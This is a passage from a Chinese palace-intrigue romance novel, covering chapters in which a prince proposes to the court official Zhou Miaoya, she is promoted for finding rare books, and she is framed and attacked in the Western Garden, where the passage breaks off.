回到东殿时,长安已在阶下候着了。 朱弘毅刚踏进殿门,长安便上前一步,低声道:“王爷,刘御史的弹劾奏效了。” 朱弘毅脚步未停,只侧目看了他一眼。 长安跟着他走进内殿,继续禀报:“昨日早朝,刘御史当庭上了奏本,列了秦以牧十二条罪状,贪墨军饷,卖官鬻爵,侵吞屯田,桩桩件件都有实证,魏琰原本还想出面保他,可陛下当场就摔了奏本。” 朱弘毅行至案前坐下,端起茶盏,润了一口,面色无波。 长安嗓音压得更低:“陛下震怒,已下旨彻查,锦衣卫直接围了秦府,抄家时搜出来的金银珠宝,田契房契,装了足足三十大车,秦以牧当场就瘫了,一句话也说不出来。” 茶盏在朱弘毅手中转了个圈。 “人呢?”他问得极淡。 长安低声回道:“全家流放,秦以牧判了斩监候,秋后问斩,家眷里,男丁充军,女眷没入官奴,今日午时已经出城了。” 朱弘毅放下手中茶盏,问道:“那秦选侍呢?” 长安眼中闪过一丝快意:“秦婉如昨日便被打发了,陛下斥她品行不端,不堪侍奉,直接挪去了西苑冷宫。据说连件齐整衣裳都未让带走,只着素布单衣,赤足被撵。” 殿内一时沉寂。 朱弘毅看向窗外,暮色已经完全笼罩了西山,行宫里的灯火次第亮起。 长安开口,打破了寂静:“王爷料事如神,陛下果然…” 朱弘毅收回目光,声音平稳:“并非本王料事如神,只是了解皇兄罢了。” 他顿了顿,才继续说下去:“皇兄那个人,最恨被人算计。秦婉如自荐枕席,在他眼里便是机关算尽。她以为爬了龙床就能保命,却不知那一步走上去,便已经是死棋。” 长安垂首不语。 朱弘毅声音低冷,似在思索:“魏琰这回折了一个钱袋子,他必然不会善罢甘休。” “王爷的意思是…” 朱弘毅负手回身,眸色沉静:“秦以牧倒了,兵部左侍郎的位置便缺空出来了,魏琰一定会再塞个人进去,你派人去盯着,看看谁在走动。” “属下遵命。” 第94章 重圆 西苑深处, 太妃宫。 正殿香雾缭绕,烟气自鎏金的博山炉孔隙中袅袅升腾,将雕梁画栋都笼罩在一层薄薄的烟雾中。 殿内陈设极尽奢华。 三尺高的鎏金三清像前, 供桌上整齐摆放着青铜香炉, 青玉净瓶, 象牙拂尘。 西壁横陈着一只巨大的青铜炼丹炉,四角各踞一只仙鹤香鼎,鹤嘴徐徐吐出青烟,与炉中紫雾交融,缭绕宛若玄境。 魏琰站在殿中央,面色阴鸷,仿若乌云压顶。 他面前跪着两个穿灰色贴里的小太监, 头埋得极低,肩膀都在抖。 良久, 魏琰终于开口, 语气愤恨,字字自牙缝迸出:“秦以牧那个蠢货,贪墨也就罢了, 连账面的尾巴都做不干净!刘御史折子上十二条罪,哪一笔不是年月, 银数,经手人列的明明白白?生怕旁人掘不出他的烂根!” 小太监们不敢吭声, 只得把身子伏得更低。 魏琰踱了两步,忽在那尊青铜炼丹炉前停住, 他俯身执起炉火旁的铁钩,随手拨弄着炉中香灰,火星微溅, 映得他眼底阴晴不定。 “周妙雅…” 他咬着这个名字,言语中是掩饰不住愤恨不平:“咱家原以为,不过是个无根无萍的小女史,既没投靠皇后,也无世族撑腰,值不得咱家亲自动手,便让秦婉如去敲打,给个下马威了事。宫里这样的女子多了,吃了教训,要么学乖,要么…消失。谁曾想,这下马威没给成,倒让咱家折了个兵部左侍郎。秦以牧那位置,咱家费了多少心思才把他扶上去,管着九边的钱粮往来。如今倒好,刘御史一本参上去,人进了诏狱,家也抄了。” 说到这里,他话锋一顿,铁钩在炉沿上轻轻地磕了一下,发出清脆的声响。 他声音骤冷,继续说道:“那秦婉如更是个废物,自荐枕席,爬上龙床,封了选侍,原以为是个有造化的,结果三日不到,便被扔进西苑冷宫,连带着她爹的罪,也定得更死了些。” “倒是这个周妙雅,咱家竟看走了眼,原以为不过一只随手碾死的蚂蚁,没成想…” “魏公公…” 只听珠帘后忽然传来一声轻唤,软若春水,却偏生空灵,像殿中缭绕的青烟,袅袅绕梁。 魏琰循声望去。 一只玉手自珠帘后探出,指若春葱,甲盖修剪得圆润整齐,染着淡淡的凤仙花汁。 帘子被缓缓掀起,露出一张芙蓉面来。 那是一张中年妇人的面庞。 眼角有了细纹,皮肤也不如少女时紧致,可那眉眼间的风韵却丝毫未减,反而因着岁月沉淀,多了种年轻女子没有的韵味。 李太妃。 “为个小喽啰,何至于动这么大的肝火。”李太妃款步而出,裙摆曳地,声线温软,却带着岁月沉淀的笃定与从容。 魏琰见她出来,忙躬身相迎:“太妃娘娘。” 李太妃抬手示意他平身,语声舒缓:“秦婉如被贬西苑,不过是失了圣心,可性命尚在,留得一口气,便还有用得着的时候。” 魏琰的眉梢微微动了动。 李太妃缓声续道,嗓音依旧温软:“西苑这里,自有本宫照拂,暂且留她一条命,往后…自有她的用处。” 魏琰躬身,抬臂承扶,李太妃便把手轻轻搭在了他的肘弯上。 他语气恢复了平时的恭顺:“太妃娘娘说的是,是咱家心急了…” 话音未落,他脚步却微顿,眸色沉了沉:“只是…霍隗出事时,宁王殿下正好在西山行宫,秦婉如指使霍隗的证据,也是他派人送到北镇抚司的。周妙雅先前便在他府中任女官,若说此事与他毫无干系,咱家是不信的。” 李太妃轻笑,指尖在魏琰臂上点了点:“可你有证据吗?你啊…年岁大了,有时反倒是不如那小丫头机灵。那周妙雅能在秦婉如手下全身而退,还能借宁王这把刀反斩敌首,就不是池中物。也难怪…宁王与陛下那两只小白眼狼,本宫养了这些年都未养熟,她倒能驯得服服帖帖。” “这样的人,要么收为己用,要么…”李太妃唇角仍带着笑,指尖却轻飘飘一划,似利刃割喉。 她话未说完,魏琰立马明白了她的用意: “娘娘的意思,咱家明白了。” ———— 临近秋日,西山藏书楼的修缮终于完工了。 周妙雅将最后一册书目誊抄完毕,阖上书册,指尖停在深蓝色的封面上,轻轻叹了口气:这场浩大的工程,几经波折,终是圆满完工了。 窗外的梧桐叶已泛起初黄,风吹过时簌簌作响,裹着两三片落叶飘上窗槛。 朱弘毅推门而入时,她正望着那落叶出神。 “都整理完了?”他走到她身边。 周妙雅点点头,将簿子推到他面前:“这是最后一册,所有藏书都已登记造册,损毁的修补记录也附在后面了。” “这些时日,辛苦了。”朱弘毅低眸扫过那本凝着她心血的书册,再抬眼,眼里便只有她。 周妙雅比来时清减了几分,下颌线愈发分明,眼底却燃起了久违的光。 她上前一步,挽住他的臂弯,笑得极甜:“不辛苦,有二郎日日陪伴在侧,我一点都不觉得辛苦。” 朱弘毅望着她难得的甜美笑容,沉默了片刻,还是开了口:“宫里来了旨意,明日接你回去。” 她唇畔的甜笑瞬间褪去,指节在他臂上微微蜷起,又慢慢松开。 垂眸良久,才轻声嘟囔道:“原来…这样快。” 远处传来工匠收拾工具的声音,叮叮当当的,反衬得这间屋子愈发的安静。 朱弘毅行至窗前,背对着她站了片刻,方才回首唤道:“妙雅。” 周妙雅抬眸,正直直撞进他深邃的眼眸,那里正翻涌着她读不懂的情愫。 他开口,声音不高,却字字温柔而坚定:“我会等你,等你亲手揭开真相,等你为周氏三百余口讨回公道的那一日。” 周妙雅的指尖轻轻蜷起,整个人怔在阳光投下的金色光晕中。 朱弘毅声音有些发紧,却字字温柔:“等你站在金銮殿上,看着周氏满门忠烈的英名被平反,看着史官在《乾曜实录》中补上你父亲的名字,看着周家军的战功被堂堂正正写进青史…” 他深吸了一口气,喉结轻动:“等到那一日,我要用最隆重的礼节,八抬大轿,凤冠霞帔,在奉天殿前亲自向皇兄请旨,我要让全京城的人都看见,让全天下的人都知道,周妙雅不是罪臣之女,而是我三书六礼,明媒正娶的宁王妃。” 风忽然停了。 万籁俱寂。 周妙雅睁大了眼睛,怔怔地望着他,唇瓣轻轻颤抖着,说不出一句话来。 胸口如涨潮般剧烈翻涌着,冲得她眼眶发酸,喉咙发紧。 “二郎,你…” 她好不容易发出声,却只挤得出这只言片语,便被哽咽堵住… 眼泪毫无预兆地涌了出来,顺着脸颊往下淌。 她抬手想拭泪,可手抬到一半,便又停住了。 朱弘毅上前一步,双手捧起了她的脸。 他掌心温热,拇指轻轻拂过她的眼角,拭去了那温热的泪痕。 他望进她泪雾氤氲的眼睛,一字一句地说着:“我要你做我的正妻,不是侧妃,不是妾,是能与我并肩立于王府正殿,与我同受百官叩拜的宁王妃。我要你的名字写进宗室玉牒,要你周家香火堂堂正正的延续下 去,我要我们的孩子,能挺起胸膛告诉别人,她的外祖父,是忠烈周承山,不是罪臣。” 周妙雅望着他深情的眼,泪水汹涌而出,如断了线的珠子。 她几次张嘴,却因哽咽而无法发声,只能用力地点头,泪水随着动作四散飞溅。 朱弘毅将她拉进怀中,紧紧抱住。 她的脸埋在他胸口,能听见他急促的心跳声,她的泪水浸透了他的衣襟,温热,带着所有委屈,不甘,与此刻汹涌而出的希望。 “好…” 她在哭声中挣出这个字,声音破碎得不成样子:“好…我等你…二郎,我想永远和你在一起。” ———— 送君千里,终须一别。 次日清晨,天刚刚亮,宫里来马车便已停在了西山行宫门前。 两个内侍垂手立在车旁,看见周妙雅出来时,躬身行了礼。 朱弘毅送她到宫门外,垂眸替她整了整鬓边被风吹乱的碎发。 周妙雅抬眸望向他,唇瓣微微颤动着,千言万语到嘴边只化作了一句:“我走了。” 朱弘毅轻轻颔首,声音温柔:“路上小心。” 她看了他最后一眼,转身上了车。车帘放下时,她透过缝隙看见他仍站在原地,玄色的道袍在秋风里微微摆动。 六尚局公署,司籍司值房。 周妙雅站在崔尚宫与冯尚仪面前,将一本装订整齐的册子双手奉上。 崔尚宫接过册子,在翻开第一页时,眉峰便已微微挑起。 值房内静悄悄的,只有翻页的沙沙声。 “《梦溪笔谈》绍熙刻本残卷…” 崔尚宫忽然低声念了出来,随即抬眸看向周妙雅:“你在西山发现的?” 周妙雅垂首道:“回尚宫,正是。此书藏于西山藏书楼库房的木箱里,箱子上积了厚厚一层灰,下官整理时,见箱角有虫蛀痕迹,便开箱查看,发现了这批典籍。” 崔尚宫继续往后翻了数页,目光却越来越亮:“《史记》南宋麻沙本,《金石录》明初抄本,《营造法式》配补本…” 直到翻到最后一页时,崔尚宫合上了册子。 她定定凝视了周妙雅良久,方才缓声问道:“这些典籍的保存状况,你都记录在册了?” 周妙雅从袖中取出另一本册子,恭谨回道:“回尚宫,俱已详录在册,每一本典籍的虫蛀,霉变,缺损情况,下官都做了详细的记录,后面还附了修复建议,该用何种纸,何种墨,何种装帧方式,都写明了,请尚宫过目。” 崔尚宫接过这第二册,逐字逐句细阅了起来。 读到中段,她忽然抬首细问:“你说《梦溪笔谈》残卷应用金粟山藏经纸补?” “回尚宫,正是。” 周妙雅从容答道:“下官比对过纸样,金粟山纸的纹理,厚度,色泽,都与原书最为接近,若用寻常棉纸,补上去色差太大,反而伤了古籍的品相。” 崔尚宫微微颔首,表示赞同,手中翻册的动作却未停下。 良久,崔尚宫终于看完了,她阖上最后一页,将两本册子齐整并列于案上,抬眸道:“明日六局会议,你随本官同去。” 周妙雅微微愣了一下。 崔尚宫唇角微微弯起,笑道:“若这批孤本真与你所录无差,价值可抵半个内府藏书,你可知其分量?” 周妙雅垂眸,声线平稳:“下官不敢妄言,唯据实以录。” 崔尚宫行至她身前,含笑拍了拍她的肩膀:“你做得很好,于微末处见真章,旁人只当西山藏书楼是处废地,你却能从积灰的角落里,将这些珍宝挖出来。” 她顿了顿,声音更郑重了些:“心怀典籍,功在千秋。” 周妙雅立刻俯身叩首:“下官惶恐,实不敢当。” 崔尚宫抬手扶她起身:“敢不敢当,不是你说了算,明日六局会议,本官自会上奏,司籍司司掌之位,已空悬半载,你既立此功,便该由你坐。” 周妙雅抬起头,眼中掠过一丝讶异。 司掌,正八品,品级虽不高,却是实实在在的职官,有俸禄,有印信,有管辖之权,不再是那个任人驱使的无品女史了。 崔尚宫摆摆手,笑道:“去吧,好生准备,明日会议上,少不得要你亲自陈说。”—— 作者有话说:小朱同学,终于表白了!!!!我等这一刻等得太久了!!!!!写这一段的时候我一整个爆哭!!!! 第95章 西苑太妃宫, 在秋日中愈发显得清寂。 李太妃坐在正殿的紫檀椅上,手执一卷道经。 她是先帝的李选侍。 选侍位卑,然她却有幸承皇恩, 诞下寿阳公主, 更因一番机缘, 得以于先皇后薨逝后,奉旨抚养两位皇子。 当今圣上朱弘睿,宁王朱弘毅,都是在她宫中长大的。 只是这养母二字,里头有多少情分,多少算计,唯有她自己心中最清楚。 李太妃忆起许多年前, 朱弘睿和朱弘毅刚到她宫里时的情景。 那时两个孩子都还小,一个十岁, 一个七岁, 小小的人儿穿着素白的孝服,跪在灵前哭得嗓子都哑了。 她站在他们身后,看着那两个瘦小的人儿, 心里想的却是自己刚满周岁的寿阳。 先帝下旨,让她抚养两位皇子。 宫里的老人都说, 这是天大的福分,将来无论哪个继位, 她都是实打实的圣母皇太后。 那时候的她真的是风光无两。 后来先帝驾崩,她未及封妃, 可因着抚养两位皇子的功劳,新帝登基后,还是给了她体面, 虽没正式尊为太后,但一应吃穿用度,都是按太后的份例来的。 整个西苑,便都是她的地盘。 二位皇子与她疏离,皆因当年她野心勃勃,一心想掌控后宫,苛待先皇后宫中旧人,尤对圣上的奶娘王氏多有刁难,故与圣上生了嫌隙。 至于宁王,他素来仰赖哥哥,哥哥说什么他便信什么,朱弘睿在宁王面前多次诋毁她,宁王便也不与她亲近。 不过好在二位皇子对寿阳皆是真心疼爱,毕竟是血脉相连的亲妹妹。 去年寿阳生辰,圣上特意从内库中挑选了一整套金镶玉头面,宁王则赠了一架古琴,说是前朝名匠所制,寿阳喜不自胜,抱着两位哥哥的胳膊撒娇。 寿阳没什么别的爱好,正值少女年华,最爱追逐时尚潮流。大晟朝如今最尚苏样,即饮食,衣着,室内陈设乃至生活方式,皆以苏州风尚为尊。宫中皆知,寿阳公主便是这苏样的极致推崇者。 苏州人… 李太妃想到这里,唇角微勾,似笑非笑。 朱弘睿和朱弘毅那两只小白眼狼,她养了那么多年都没养熟,如今竟冒出个周妙雅,竟能让素来不涉朝堂的宁王为她,掀了秦以牧,断了魏琰一条财路。 有意思。 她倒要看看,这个周妙雅,到底有什么本事。 莫不如先让寿阳,去会会她。 ———— 秋日午后的暖阳洒进司籍司值房,周妙雅正埋头伏案,奋笔疾书。 如今她已升任正八品司籍司司掌,事务自然比先前做女史时要繁忙许多。 值房里很静,周妙雅沉浸在书海之中,竟未察觉到一个梳着双丫髻,身着水绿色比甲的小宫女,不知何时已悄然立于她面前。 “周司掌,公主请您过去一趟。”那小宫女轻启朱唇,声音虽轻,却惊得周妙雅猛地抬头。 “公…公主?”周妙雅放下手中毛笔,满心疑惑地看向那小宫女,她看起来与青黛年纪相仿。 那小宫女笑颜如花,说道:“是寿阳公主,公主听闻司籍司新升了位苏州来的司掌,又听闻您擅书画,通文墨,便想请您过去说说话。” 周妙雅连忙搁下笔,起身福了一礼:“下官这就去。” 她跟着宫女出了司籍司,沿着宫道往西行,越往西,宫道愈发狭窄。 行至一处宫门前,宫女停下脚步,回头对周妙雅道:“过了这道门,便是西苑了,公主与太妃娘娘便住在此处。” 西苑?! 周妙雅脑海中瞬间闪过孙女官在奉国寺后山枫林与她说过的话… “那日你祖母进宫赴宴,确与我约在西苑相见。” “至于康敏之为何对她下手,我也不知确切缘由,许是你祖母自西苑归席途中,无意间窥见什么不该看到的东西,或是听闻了什么不该听之语…” 这里,便是祖母生前在宫中去过最后的地方… “周司掌,请。”小宫女轻声提醒,将她从翻涌的思绪中唤醒。 周妙雅定了定神,抬步跨过门槛,正式踏入了西苑。 庭院深深, 古木参天,石板路半掩于落叶之下,踩上去发出簌簌之声。 周妙雅跟着宫女往里走。 她走得很慢,目光却暗暗掠过四周,她心底急切,欲从这平静无波的西苑之下,窥出那惊天的秘密。 小宫女领着她穿过一条长廊,廊下挂着精致的鸟笼,笼子里养着几只画眉,正婉转地鸣叫着。 长廊尽头是一处精致的院落,院中植有几株桂花,花开得正盛,香气馥郁,浓得化不开。 小宫女引着周妙雅进了正房,只见一个梳着三绺髻,手臂上戴着金臂钏的少女,正端坐于主座之上。 “你便是周司掌?” 那少女开口,她看起来不过十六七岁,生得一张鹅蛋脸,眉眼清秀,最奇的是一身打扮,素白的立领斜襟大衫,下配素净的苏绣马面裙,裙襕上绣着几株稀疏有致的兰草。 周妙雅只一眼,便认出这是苏州最新的样式。 “下官周妙雅,参见公主。”她躬身行礼。 寿阳公主快步走到她面前,上下打量她,忽而笑道:“宁王兄说得不错,你果然喜欢穿白色。” 周妙雅这才发现,她今日也穿了一件素白的立领斜襟大衫。 她微微怔了怔。 寿阳公主却拉起她的手,往屋里走去,边走边说话,声音脆生生的:“前些日子宁王兄来看我,说起宫中新晋的女官,他说司籍司有位苏州来的姑娘,日日穿着素白的衫子,素净得很。他还问我,是不是苏州的女孩子都喜欢这样打扮。” 周妙雅愣了一下。 她脑海里霎时闪过一个画面,宁王府听风阁的水榭,烛火摇曳,戏台上正唱着《玉簪记》。 朱弘毅那时坐在她身边,低声说那是寿阳公主特意从苏州请来的家班。 原来他不仅在公主面前提起过她,连这些穿衣风格的细枝末节都记得,还同寿阳公主说过。 周妙雅的脸颊有些微热,她垂眸掩住内心的波动,指尖在袖中悄悄蜷紧,轻声探问:“公主,宁王殿下…还同您说这些呀?” “说呀。” 寿阳公主笑盈盈地拉着她在窗边坐下:“我这位宁王兄,平日里看着不声不响的,其实心里可细着呢。” 周妙雅却只垂头,抿唇未语。 寿阳公主见状,笑得更欢,她凑近了些,压低声音,语气里带几分得意:“我当场便笑他,堂堂宁王,竟如此不解风情,半点不懂女子穿衣的学问。这哪里是素净?这是苏州眼下最时兴的素雅白,如今京中那些后妃贵女们,哪个不追着这股风气?非苏样不御,非素色不穿,可她们学得来样式,却学不来骨子里的韵致。” 周妙雅闻言,忍俊不禁,低低笑出声来。 她心中暗想,那人分明最会讨人欢喜,搭戏台,聘苏厨,甚至还…那样会亲,却偏在自己妹妹口中成了不识风情的木头,真是好笑。 寿阳公主却敛了笑,认真正色道:“周司掌这身衣裳,料子虽寻常,可这裁剪,这气度,却是宫里尚衣局那些绣娘们怎么也仿不来的,这才是真正的苏样。” 周妙雅被她夸得有些不好意思,垂眸轻声道:“公主谬赞了,下官这些不过是家常旧衣,哪里比得上宫里的织造。” 寿阳公主却摆摆手:“周司掌可别跟我谦虚。” 说到此处,她似突然想起了什么,起身走到书架前,踮起脚尖,从最上层取下几本书,抱在怀里走了回来,一股脑全塞进周妙雅手中。 “周司掌,你看。” 周妙雅低头看去,是三本《牡丹亭》,皆为刻本,纸张新旧不一,版式各异,最旧的那本,边角已磨损,书页泛黄,显是被翻过许多遍。 她随手翻开一本,只见字里行间密密麻麻写满批注,小楷字迹娟秀工整,或是评点文辞,或是标注音韵,还有几处用朱笔圈出,旁注:此句当用吴语念。 寿阳公主在她身边坐下,指着那些批注道:“这都是我这些年收罗的,不同的刻本,词句常有出入,我每得一本,就对照着看看,把觉得好的地方都记了下来。” 她翻开另一本,翻到《惊梦》那折,指着杜丽娘的唱段,叹道:“比如这句,我听过好几个戏班唱,有的唱得华丽,有的唱得哀婉,可总觉得…少了点什么。” 说罢,她抬头看向周妙雅,眼中亮晶晶的:“后来我想明白了,是少了苏州话里那种软糯的味道,若是能用正宗的吴语来念白,唱词,那才真是入了骨的苏味儿。” 周妙雅的指尖缓缓抚过书页上的批注,字迹工整而认真,一笔一划都透着主人的用心。 寿阳公主见她看得出神,便握住她的手,语气极为认真:“我想请周司掌每周都来西苑,教我吴语,唯有学会了苏州话,我才能听懂《牡丹亭》中那些百转千回的情思,才能唱出昆曲真正的魂。” 她顿了顿,又补充道:“不止是《牡丹亭》,还有《玉簪记》,《长生殿》…我想学的太多了,可宫里的教习嬷嬷,只会教官话,教不出那种水磨腔的韵味。” 周妙雅看着她期待的眼神,心中快速转着念头。 每周都来西苑,这是她探查祖母死因的绝佳机会,她正愁没有理由常来,如今寿阳公主竟亲自递了契机。 可这也意味着,她要频繁踏足这个可能藏着危险的地方。 寿阳公主见她沉默,以为她为难,忙道:“我知道周司掌如今公务繁忙,不用多,每周一次就好,半个时辰也成,我…我可以亲自去跟崔尚宫说情。” “不必了。” 周妙雅开口:“下官答应公主。” 寿阳公主眼睛一下子便亮了起来:“真的?” “真的。” 周妙雅点头:“能教公主吴语,是下官的荣幸。” 寿阳公主见她应允,眼睛弯成了月牙,可她抿了抿唇,手指无意识地绞着袖口的衣料,又小声嘟囔了一句:“那我…我能不能再提一个请求?” 周妙雅看着她这副小心翼翼的模样,心中竟觉得有些好笑,这位公主明明身份尊贵,提要求时却像怕被拒绝的孩子。 “公主请讲。”她温声道。 寿阳公主抬眼望向她,眼中闪烁着期待的光芒:“我知道…你是文老太爷亲自教养大的,文老太爷是吴门画派的泰斗,你定然也深谙此道。” 她顿了顿,声音更轻了些:“你能不能…也教我赏画?教我如何分辨吴门画派里那些不同的流派?沈周的苍润,文徵明的秀雅,唐寅的洒脱…我虽都听过,可看画时总也分不清楚。” 她说得极其认真,眼睛一直望着周妙雅,生怕她摇头。 周妙雅拱手施礼,微微低头,语气谦逊:“下官才疏学浅,只怕教不好公主。” 寿阳公主立刻摆摆手道:“不会的!你能在废纸堆里找出《梦溪笔谈》孤本,能写出那么详尽的修复建议,你的眼光定然是极好的,我…我不要学得多深,只要稍稍懂一点就好。” 她继而又补充道:“我不会耽误你太多时间的,每周还是那个时辰,你来了,先教我吴语,再教一点赏画,半个时辰…不,两刻钟就好。” 周妙雅看着她急切的样子,忽然想起祖父曾经说过的一句话。 那时她还小,问祖父为什么愿意收那么多学生,明明那些人资质平平,有些甚至学了几年都没什么长进。 祖父摸着她的头,笑道:“学问这东西,有人真心想学,就该教,至于能学多少,那是各人的造化。” 周妙雅凝视着寿阳公主。 她看公主眼神中流露出的对苏样的痴迷,对昆曲的执着,对吴门画派的好奇…皆非作伪。 “好。” 她轻轻点头:“下官答应。” 寿阳公主愣了片刻,像是没反应过来。良久,她才猛地抓住周妙雅的 手,激动道:“真的?你真的答应?” “真的。” 周妙雅微微颔首:“只是下官有个条件。” “你说你说!” 寿阳公主忙道:“什么条件我都答应!” 周妙雅看着她的眼睛,一字一句道:“公主既想学,就要认真学,不可半途而废,不可敷衍了事,吴语要日日练,画理要细细琢磨,若公主做不到…” 还未等她说完,寿阳公主已郑重起誓:“我答应,我寿阳在此立誓,向周司掌求学,必诚心诚意,绝不敷衍。”—— 作者有话说:“宫眷暑衣从未有用纯素者,葛亦惟帝用之,余皆不敢用。后始以白纱为衫,不加修饰。上笑曰:‘此真白衣大士也!’自后穿纯素暑衣,一时宫眷裙衫俱用白纱裁制,内衬以绯交裆红袙腹,掩映而已。” ——《崇祯宫词》 第96章 周妙雅从西苑归来时, 天色已近黄昏。 当她踏进与田贞兰同住的厢房时,屋里已亮起烛火。 田贞兰正坐在窗下的绣墩上,借着烛光缝补官服的袖口。听到推门声, 她抬起头, 针线在手中微微停顿了一瞬。 “回来了?”田贞兰问道。 周妙雅点了点头, 随即掩上门。 秋夜的凉意被挡在了门外,她走到田贞兰对面坐下,解开了肩上的披风。 “去西苑了?”田贞兰放下手中针线,从炭盆上提起小铜壶,给她倒了盏热茶。 “嗯。” 周妙雅双手捧住茶盏,温热透过瓷壁传到掌心:“寿阳公主请我过去,说想学吴语, 还有…赏画。” 田贞兰未再开口,只是拿起针线继续缝补。 过了许久, 她才开口:“你知道李太妃是什么人吗?” 周妙雅抬起眼, 烛火在她的瞳仁中轻轻晃动了下。 田贞兰并未停下手中的针线活,声音却低低传来:“她原是先帝的李选侍,选侍, 你明白的,末等妃嫔, 连一宫主位都沾不上。” 周妙雅点点头,捧着茶盏没有说话。 田贞兰继续说道:“可先帝驾崩后, 这位低阶的选侍可是做了一件震动朝野的大事。” 周妙雅静静地听着。 田贞兰的声音压得极低,在这小小的厢房内, 只有她们两个人能听得清:“先帝去得突然,未立遗嘱,陛下昔年作为东宫太子, 顺理成章的登基为帝,只是陛下那时还太年轻,根基尚未稳固,李选侍仗着自己对陛下有抚育之恩,便携少帝入主乾清宫,朝堂一时间震动。” 周妙雅握着茶盏的指尖骤然收紧。 田贞兰手中的针线又动了起来,声音平稳得像在说别人的事:“她不只是想住进乾清宫,她想以太后自居,想要垂帘听政,奏折她要过目,大臣觐见她要听…” 她话音刚落,窗外忽起一阵急风,吹得窗纸簌簌作响。 田贞兰起身去查看窗栓,确认关严了,才又坐了回来。 她重新拿起针线,复又说道:“那时朝中清流大臣,以杨濂为首,都是兴社党人,他们联合了司礼监掌印太监王安,说李选侍此举违制,是后宫干政。一日深夜,他们持诏闯宫,硬是把陛下从里头带了出来。” 周妙雅睁大眼睛:“就是那位被阉党陷害,铁钉穿骨的杨濂,杨大人?” 田贞兰点头:“正是。” “后来李选侍被逼着搬出了乾清宫,杨大人以维护礼制,后宫不得干政为名,逼她迁到了西苑,就是你今天去的那地方。” 说罢,她放下针线,抬眼看向周妙雅。 须臾,她继续说道:“圣上那时虽然年纪小,却将此事刻进骨子里。加之李选侍昔年曾苛待先皇后宫中旧人,尤其薄待圣上的乳母王氏,自此圣上便与她没什么情分了。” 原来如此。 “那后来…” 周妙雅低声追问:“那李太妃怎么又安安稳稳做了太妃,还独居西苑,无人敢再动?” 田贞兰接过话:“因为她投靠了魏琰,魏琰和王安是死对头,王安是兴社党在宫里的靠山,魏琰要扳倒王安,继而扳倒兴社党,扶持自己的阉党上位。李太妃恨透了杨濂那群兴社党人,魏琰便顺势抬举她。两下交易,她助魏琰剪除异己,魏琰给她太妃尊荣,昔**宫之辱,如今用他人血偿,也算是各取所需。” 周妙雅沉默了。 原来西苑这一切荣宠,都系在魏琰身上。 良久,她才小心翼翼问道:“那皇后娘娘与李太妃…” “不是一路人。” 田贞兰的回答异常干脆:“皇后娘娘是顾家的女儿,顾家清流,岂屑与阉党为伍?皇后娘娘与李太妃,泾渭分明,永不同流。” 周妙雅垂首:“下官明白了…” “周司掌…” 田贞兰抬眸看向她,眼神很认真:“你入宫时间短,有些事情未必看得清楚,我今天同你说这些,是想告诉你,最好独善其身,不要站队。” 周妙雅盯着那一点烛焰,任其在眼底晃动,半晌未出声。 田贞兰的声音在静夜里格外清晰:“皇后娘娘赏识你,李太妃…通过寿阳公主,也在接近你。你现在是正八品司掌,有前程,有本事,可一旦卷进这些是非里,再好的前程,再大的本事,都可能…” 她没说完,但周妙雅听懂了。 窗外梆声三响,已经三更了。 田贞兰起身吹熄了烛火,屋内暗了下来。 两人就这么在黑暗中静静地坐着,谁也没有再说话。 良久,周妙雅才轻轻开口:“谢田司典今夜提点,下官…明白了。” ———— 因着寿阳公主的关系,周妙雅得以时常出入西苑。 每次去,她都刻意放慢步子,仔细审视着西苑的每一条宫道,每一处转角,每一座殿宇。 她自太妃宫的正殿缓阶而下,穿过寿阳公主的偏院,绕至西苑后那片荒废的冷宫,据说秦婉如就被关在这里。 她想象着文老太太当年可能走过的路,想象着祖母站在那里时,可能看见了什么,听见了什么。 可是,都没有异常。 至少她看不出任何异常。 日子就这样一天天过去,转眼入了冬。 西苑的银杏叶早凋零得干干净净,如今只剩枯枝嶙峋。 安和郡主越来越不满。 她几次三番来到西苑,倚在李太妃膝边,话里话外都是那个周妙雅。 “不过是个八品司掌,凭什么日日往西苑跑?还教公主念书赏画,她也配?” 安和郡主咬着唇冷笑道:“太妃娘娘别忘了,她出身低贱,是窑姐儿堆里爬出来的!康家嫂嫂死得不明不白,正是她做的好事,这样肮脏的人,怎配做公主的老师?” 李太妃正在暖阁内抄写《太上洞玄灵宝无量度人上品妙经》,闻言笔尖未停,笔锋仍悬于泥金笺上,只淡淡道:“只一个低阶女官罢了,也值得郡主这样上心?” “我就是看不惯她那副假清高的样子!” 安和郡主恨声道:“太妃娘娘,您就不能…” 李太妃落笔收锋,淡淡抬眼:“这点小事,哪用本宫亲自动手?区区八品司掌而已,随便找个由头,弄死如踩蚂蚁般。” 一听这话,安和郡主眸光骤然亮起,唇角勾起森森的笑意。 三日后,周妙雅照例去西苑教寿阳公主吴语。 课毕,她从公主院里出来时,手里提着一个小竹篮。 篮中装着今日教习用的《牡丹亭》刻本,还有几页她手抄的吴语注音,竹篮口盖着一块素青色的布,是田贞兰前日给的,说天气冷,给书遮遮风。 她刚走到西苑东侧的夹道,便被两个太监拦住了去路。 “周司掌留步。”为首的太监面生,声音尖细。 周妙雅停下脚步:“何事?” 那太监慢条斯理道:“有人举报,说周司掌偷了公主的金镶玉簪子,跟咱家走一趟吧。” 周妙雅冷眼看着他:“空口白牙,便敢污司籍司司掌?证据何在?” “证据?” 那太监嗤笑一声,声音让人发寒:“自然是要搜的。” 话音刚落,他便使了个眼色,身旁矮个子的太监便上前一步,不由分说夺走了周妙雅手中的竹篮,动作快到她根本来不及反应。 周妙雅心下一沉,伸手想要夺回:“放肆!这是公主的书!” 话未说完,那矮个太监已一把掀开了篮子上盖着的素青布。 只见那篮子中,除了《牡丹亭》刻本和几页纸,赫然躺着一支簪子。 上好的和田白玉镶嵌在足金的簪托上,雕着繁复的牡丹纹样,花蕊处嵌着细小的红宝石。 周妙雅盯着那簪子,脑子里一片空白。 她确定,出门时篮子里只有几页注音与一卷《牡丹亭》,再没旁物。 她瞬间警醒过来,有人是要蓄意陷害她,这西苑,果然有人已经按捺不住了。 “人赃并获。” 那为首的太监带着得逞的笑意:“西苑有西苑的规矩,偷盗者…” 他故意顿了顿,眼里迸出欲夺人性命的寒光,缓缓吐出两个字:“勒死!” 话音刚落,两个太监便一左一右扑了上来。 周妙雅想喊,一只粗糙的大手已死死捂住了她的嘴。 她整个人被粗暴地按在冰冷的宫墙上,双手被其中一个太监高高举过头顶死死按住,力道大得似要把她的骨头捏碎。 竹篮翻倒在地,《牡丹亭》刻本跌落了出来,书页被风吹得哗啦啦地翻动。 为首的太监从袖中掏出一根麻绳,那绳子又粗又结实,被他粗暴地绕上了她白皙嫩长的脖颈。 被冰凉的麻绳套上的瞬间,周妙雅浑身一颤。 